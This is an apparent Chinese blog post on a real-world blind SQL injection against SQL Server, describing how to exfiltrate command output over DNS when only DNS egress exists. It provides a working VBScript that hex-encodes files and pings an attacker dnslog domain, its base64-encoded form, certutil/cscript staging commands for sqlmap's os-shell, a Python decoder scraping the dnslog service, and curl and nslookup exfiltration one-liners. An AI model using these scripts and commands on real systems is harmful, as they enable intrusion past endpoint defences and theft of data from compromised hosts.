实战sql盲注小技巧

原创

xianke
xianke

XK Team

2026年6月11日 21:10
山东

在小说阅读器读本章

去阅读

实战中碰到个注入，跑出来是盲注，数据库是sqlserver，大致情况就是能开xpcmdshell，执行命令回显慢的一比，目标机器一堆杀软加edr，只有dns出网。属于是buff拉满了，这种情况下还能艰难的通过dnslog外带一些请求来看回显，但是dnslog有长度限制，期间尝试了各种for循环执行命令以及巴拉巴拉各种骚操作都不行，最后找到了个小脚本终于可以方便执行命令和完整的输出命令回显

注：sg1y8oiv.eyes.sh 要修改成自己的dnslog地址这里我用的是 https://eyes.sh/

Function ReadFile(filePath)
    Dim fso, file, fileContent
    Set fso = CreateObject(\"Scripting.FileSystemObject\")
    On Error Resume Next
    Set file = fso.OpenTextFile(filePath, 1)
    If Err.Number <> 0 Then
        ReadFile = \"\"
        Exit Function
    End If
    fileContent = file.ReadAll()
    file.Close()
    ReadFile = fileContent
End Function

Function ToHex(inputStr)
    Dim i, hexStr
    hexStr = \"\"
    For i = 1 To Len(inputStr)
        hexStr = hexStr & Right(\"00\" & Hex(Asc(Mid(inputStr, i, 1))), 2)
    Next
    ToHex = hexStr
End Function

Function GenerateRandomNumber()
    Randomize
    GenerateRandomNumber = Int((99999 - 10000 + 1) * Rnd + 10000)
End Function

Sub PingDnslog(hexStr, randomNum)
    Dim i, segment, part1, part2, part3, counter, paddedSegment
    i = 1
    counter = 0
    Do While i <= Len(hexStr)
        segment = Mid(hexStr, i, 180)

        ' Pad the segment with zeros if it's less than 180 characters
        If Len(segment) < 180 Then
            paddedSegment = segment & String(180 - Len(segment), \"0\")
        Else
            paddedSegment = segment
        End If

        part1 = Mid(paddedSegment, 1, 60)
        part2 = Mid(paddedSegment, 61, 60)
        part3 = Mid(paddedSegment, 121, 60)

        ' Increment counter for each ping
        counter = counter + 1

        ' Construct the DNS request
        dnsRequest = randomNum & \".\" & counter & \".\" & part1 & \".\" & part2 & \".\" & part3 & \".sg1y8oiv.eyes.sh\"

        ' Ping the constructed DNS request
        CreateObject(\"WScript.Shell\").Run \"ping -n 1 \" & dnsRequest, 0, True

        i = i + 180
    Loop
End Sub

' Main script logic
Dim filePath, fileContent, hexResult, randomNum

filePath = \"C:\\Users\\Public\\file.txt\"
fileContent = ReadFile(filePath)

If fileContent = \"\" Then
    WScript.Echo \"Failed to read file or file is empty.\"
    WScript.Quit 1
End If

hexResult = ToHex(fileContent)
randomNum = GenerateRandomNumber()

PingDnslog hexResult, randomNum

改好dnslog地址后，转成base64

sqlmap开了--os-shell以后执行下面的命令

第一步写入文件

echo RnVuY3Rpb24gUmVhZEZpbGUoZmlsZVBhdGgpCiAgICBEaW0gZnNvLCBmaWxlLCBmaWxlQ29udGVudAogICAgU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQogICAgT24gRXJyb3IgUmVzdW1lIE5leHQKICAgIFNldCBmaWxlID0gZnNvLk9wZW5UZXh0RmlsZShmaWxlUGF0aCwgMSkKICAgIElmIEVyci5OdW1iZXIgPD4gMCBUaGVuCiAgICAgICAgUmVhZEZpbGUgPSAiIgogICAgICAgIEV4aXQgRnVuY3Rpb24KICAgIEVuZCBJZgogICAgZmlsZUNvbnRlbnQgPSBmaWxlLlJlYWRBbGwoKQogICAgZmlsZS5DbG9zZSgpCiAgICBSZWFkRmlsZSA9IGZpbGVDb250ZW50CkVuZCBGdW5jdGlvbgoKRnVuY3Rpb24gVG9IZXgoaW5wdXRTdHIpCiAgICBEaW0gaSwgaGV4U3RyCiAgICBoZXhTdHIgPSAiIgogICAgRm9yIGkgPSAxIFRvIExlbihpbnB1dFN0cikKICAgICAgICBoZXhTdHIgPSBoZXhTdHIgJiBSaWdodCgiMDAiICYgSGV4KEFzYyhNaWQoaW5wdXRTdHIsIGksIDEpKSksIDIpCiAgICBOZXh0CiAgICBUb0hleCA9IGhleFN0cgpFbmQgRnVuY3Rpb24KCkZ1bmN0aW9uIEdlbmVyYXRlUmFuZG9tTnVtYmVyKCkKICAgIFJhbmRvbWl6ZQogICAgR2VuZXJhdGVSYW5kb21OdW1iZXIgPSBJbnQoKDk5OTk5IC0gMTAwMDAgKyAxKSAqIFJuZCArIDEwMDAwKQpFbmQgRnVuY3Rpb24KClN1YiBQaW5nRG5zbG9nKGhleFN0ciwgcmFuZG9tTnVtKQogICAgRGltIGksIHNlZ21lbnQsIHBhcnQxLCBwYXJ0MiwgcGFydDMsIGNvdW50ZXIsIHBhZGRlZFNlZ21lbnQKICAgIGkgPSAxCiAgICBjb3VudGVyID0gMAogICAgRG8gV2hpbGUgaSA8PSBMZW4oaGV4U3RyKQogICAgICAgIHNlZ21lbnQgPSBNaWQoaGV4U3RyLCBpLCAxODApCgogICAgICAgICcgUGFkIHRoZSBzZWdtZW50IHdpdGggemVyb3MgaWYgaXQncyBsZXNzIHRoYW4gMTgwIGNoYXJhY3RlcnMKICAgICAgICBJZiBMZW4oc2VnbWVudCkgPCAxODAgVGhlbgogICAgICAgICAgICBwYWRkZWRTZWdtZW50ID0gc2VnbWVudCAmIFN0cmluZygxODAgLSBMZW4oc2VnbWVudCksICIwIikKICAgICAgICBFbHNlCiAgICAgICAgICAgIHBhZGRlZFNlZ21lbnQgPSBzZWdtZW50CiAgICAgICAgRW5kIElmCgogICAgICAgIHBhcnQxID0gTWlkKHBhZGRlZFNlZ21lbnQsIDEsIDYwKQogICAgICAgIHBhcnQyID0gTWlkKHBhZGRlZFNlZ21lbnQsIDYxLCA2MCkKICAgICAgICBwYXJ0MyA9IE1pZChwYWRkZWRTZWdtZW50LCAxMjEsIDYwKQoKICAgICAgICAnIEluY3JlbWVudCBjb3VudGVyIGZvciBlYWNoIHBpbmcKICAgICAgICBjb3VudGVyID0gY291bnRlciArIDEKCiAgICAgICAgJyBDb25zdHJ1Y3QgdGhlIEROUyByZXF1ZXN0CiAgICAgICAgZG5zUmVxdWVzdCA9IHJhbmRvbU51bSAmICIuIiAmIGNvdW50ZXIgJiAiLiIgJiBwYXJ0MSAmICIuIiAmIHBhcnQyICYgIi4iICYgcGFydDMgJiAiLnNnMXk4b2l2LmV5ZXMuc2giCgogICAgICAgICcgUGluZyB0aGUgY29uc3RydWN0ZWQgRE5TIHJlcXVlc3QKICAgICAgICBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKS5SdW4gInBpbmcgLW4gMSAiICYgZG5zUmVxdWVzdCwgMCwgVHJ1ZQoKICAgICAgICBpID0gaSArIDE4MAogICAgTG9vcApFbmQgU3ViCgonIE1haW4gc2NyaXB0IGxvZ2ljCkRpbSBmaWxlUGF0aCwgZmlsZUNvbnRlbnQsIGhleFJlc3VsdCwgcmFuZG9tTnVtCgpmaWxlUGF0aCA9ICJDOlxVc2Vyc1xQdWJsaWNcZmlsZS50eHQiCmZpbGVDb250ZW50ID0gUmVhZEZpbGUoZmlsZVBhdGgpCgpJZiBmaWxlQ29udGVudCA9ICIiIFRoZW4KICAgIFdTY3JpcHQuRWNobyAiRmFpbGVkIHRvIHJlYWQgZmlsZSBvciBmaWxlIGlzIGVtcHR5LiIKICAgIFdTY3JpcHQuUXVpdCAxCkVuZCBJZgoKaGV4UmVzdWx0ID0gVG9IZXgoZmlsZUNvbnRlbnQpCnJhbmRvbU51bSA9IEdlbmVyYXRlUmFuZG9tTnVtYmVyKCkKClBpbmdEbnNsb2cgaGV4UmVzdWx0LCByYW5kb21OdW0= > C:\\Users\\Public\\test.txt

第二步转成vbs格式

certutil -decode C:\\Users\\Public\\test.txt C:\\Users\\Public\\test.vbs

第三步将想执行的命令写入到 C:\Users\Public\file.txt

dir E:\\ > C:\\Users\\Public\\file.txt

第四步运行vbs脚本

cscript //nologo C:\\Users\\Public\\test.vbs

这个时候你的dnslog平台已经开始接收到回显了，大概是下面这样的

image-20260611161017337

可以复制给ai给你解释下啥意思

image-20260611162543477

那么这个时候其实你的dnslog一直在接受这种回显，你可以都复制给ai给你批量解密在拼接就是你命令的回显

我嫌麻烦就写了个脚本，最后效果大概就是这样的

2c2898cf1fcdd2ae63c62d66a1c40441

a54ddab2bde3d40143f192726e7fb9c5

最后脚本需要大家配置一下自己dnslog平台的cookie跟地址

image-20260611163549141

python解密脚本

import argparse
import binascii
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import urllib3

# 强制禁用底层 https 未验证证书引发的控制台告警
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 1. 定义命令行参数解析
parser = argparse.ArgumentParser(description=\"DNSLog 高并发爬取、重组与解码一体化工具\")
parser.add_argument(
    \"--page\",
    type=int,
    default=1,
    help=\"指定需要从第几页开始向前遍历提取（例如: 100）\",
)
parser.add_argument(
    \"--threads\",
    type=int,
    default=15,
    help=\"指定并发线程数，默认 15 线程\",
)
args = parser.parse_args()

# 2. 配置请求头与原始 Cookie
TARGET_URL = \"https://eyes.sh/dns/\"

HEADERS = {
    \"Host\": \"eyes.sh\",
    \"Sec-Ch-Ua\": '\"Chromium\";v=\"148\", \"Google Chrome\";v=\"148\", \"Not/A)Brand\";v=\"99\"',
    \"Sec-Ch-Ua-Mobile\": \"?0\",
    \"Sec-Ch-Ua-Platform\": '\"macOS\"',
    \"Upgrade-Insecure-Requests\": \"1\",
    \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36\",
    \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",
    \"Sec-Fetch-Site\": \"same-origin\",
    \"Sec-Fetch-Mode\": \"navigate\",
    \"Sec-Fetch-User\": \"?1\",
    \"Sec-Fetch-Dest\": \"document\",
    \"Referer\": \"https://eyes.sh/dns/\",
    \"Accept-Encoding\": \"gzip, deflate, br\",
    \"Accept-Language\": \"zh-CN,zh-TW;q=0.9,zh;q=0.8\",
    \"Connection\": \"keep-alive\",
}

RAW_COOKIE_STRING = (
    \"csrftoken= \"
    \"sessionid= \"
    \"sensorsdata2015jssdkcross=\"
)
HEADERS[\"Cookie\"] = RAW_COOKIE_STRING

# 3. 精准匹配 <td> 标签中个人特征域名的正则表达式
DATA_REGEX = re.compile(
    r'<td style=\"word-break:break-all\">\\s*([\\w\\d\\.-]+\\.sg1y8oiv\\.eyes\\.sh)\\s*</td>'
)

# 4. 定义单页下载工作函数（供线程池调用）
def fetch_page(page_num):
    params = {\"page\": page_num}
    try:
        response = requests.get(
            TARGET_URL,
            headers=HEADERS,
            params=params,
            timeout=10,
            verify=False,
        )
        if response.status_code == 200:
            matches = DATA_REGEX.findall(response.text)
            # 同样保持页面内部记录的时间正序
            return page_num, matches[::-1]
        else:
            return page_num, None
    except Exception:
        return page_num, None

print(f\"[*] 第一阶段：启动线程池（并发线程数: {args.threads}），正在全力爬取 1 到 {args.page} 页...\")

# 5. 使用线程池并发抓取
page_data_map = {}  # 用字典暂存：{ 页码: [该页匹配到的记录] }

with ThreadPoolExecutor(max_workers=args.threads) as executor:
    # 提交所有页面的下载任务
    futures = {executor.submit(fetch_page, p): p for p in range(1, args.page + 1)}

    # 动态获取线程执行结果
    for future in as_completed(futures):
        page_num, matches = future.result()
        if matches:
            print(f\"[v] 页码 {page_num} 下载完成，成功抓取到 {len(matches)} 条记录。\")
            page_data_map[page_num] = matches
        else:
            # 提示：即使某页没数据也正常输出，方便肉眼观察进度
            pass

# 6. 第二阶段：在内存中按“页码从小到大”进行时序重组
print(\"\
\" + \"=\" * 60)
print(\"[*] 第二阶段：正在将多线程乱序数据进行时间线物理校准...\")
print(\"=\" * 60)

raw_records = []
# 严格按照页码 100, 99, ... 2, 1 的顺序拼装原始列表，确保时间线不混乱
for p in range(args.page, 0, -1):
    if p in page_data_map:
        raw_records.extend(page_data_map[p])

if not raw_records:
    print(\"[-] 未提取到任何有效 DNS 记录，脚本终止。\")
    sys.exit(0)

# 7. 第三阶段：构建任务池分类重组
task_pool = {}

for record in raw_records:
    record = record.strip().lower()
    parts = record.split(\".\")
    if len(parts) < 6:
        continue

    try:
        task_id = parts[0]
        counter = int(parts[1])
        hex_payload = parts[2] + parts[3] + parts[4]

        if task_id not in task_pool:
            task_pool[task_id] = {}

        task_pool[task_id][counter] = hex_payload
    except Exception:
        continue

# 8. 第四阶段：按任务升序解码输出
print(\"\
\" + \"=\" * 60)
print(\"[*] 第三阶段：开始进行任务流 Hex 反序列化解码...\")
print(\"=\" * 60)

for task_id, blocks in task_pool.items():
    print(f\"\
[] 成功锁定任务流 ID: [{task_id}]，共包含 {len(blocks)} 个数据块。\")

    sorted_counters = sorted(blocks.keys())
    full_hex_stream = \"\"
    for c in sorted_counters:
        full_hex_stream += blocks[c]

    cleaned_hex_stream = full_hex_stream.rstrip(\"0\")
    if len(cleaned_hex_stream) % 2 != 0:
        cleaned_hex_stream += \"0\"

    try:
        raw_bytes = binascii.unhexlify(cleaned_hex_stream)
        try:
            decoded_output = raw_bytes.decode(\"gbk\")
        except UnicodeDecodeError:
            decoded_output = raw_bytes.decode(\"utf-8\", errors=\"ignore\")

        print(f\"▼▼▼ [{task_id}] 原始外带文本完美还原内容如下 ▼▼▼\")
        print(decoded_output)
        print(f\"▲▲▲ {'='*40} ▲▲▲\")

    except Exception as decode_error:
        print(f\"[-] 任务 [{task_id}] 在十六进制解码时发生崩溃: {decode_error}\")

print(\"\
[*] 高并发一体化流执行完毕。\")

下面就可以愉快的

执行命令（记得sqlmap回显选择n）——>dnslog接受——>利用脚本遍历指定页数进行解密

最后，其实搞完这些我觉得挺麻烦，但是最起码能用，大家有没有更好的解决办法可以探讨下

附一些我尝试过程中的一些命令

#http外带
tasklist /svc | base64 -w 0 | curl -X POST -d @- http://sg1y8oiv.eyes.sh/recv
#利用条件判断法
if exist D:\\wwwroot (nslookup exist.a95571829a.ddns.1433.eu.org) else (nslookup notexist.a95571829a.ddns.1433.eu.org)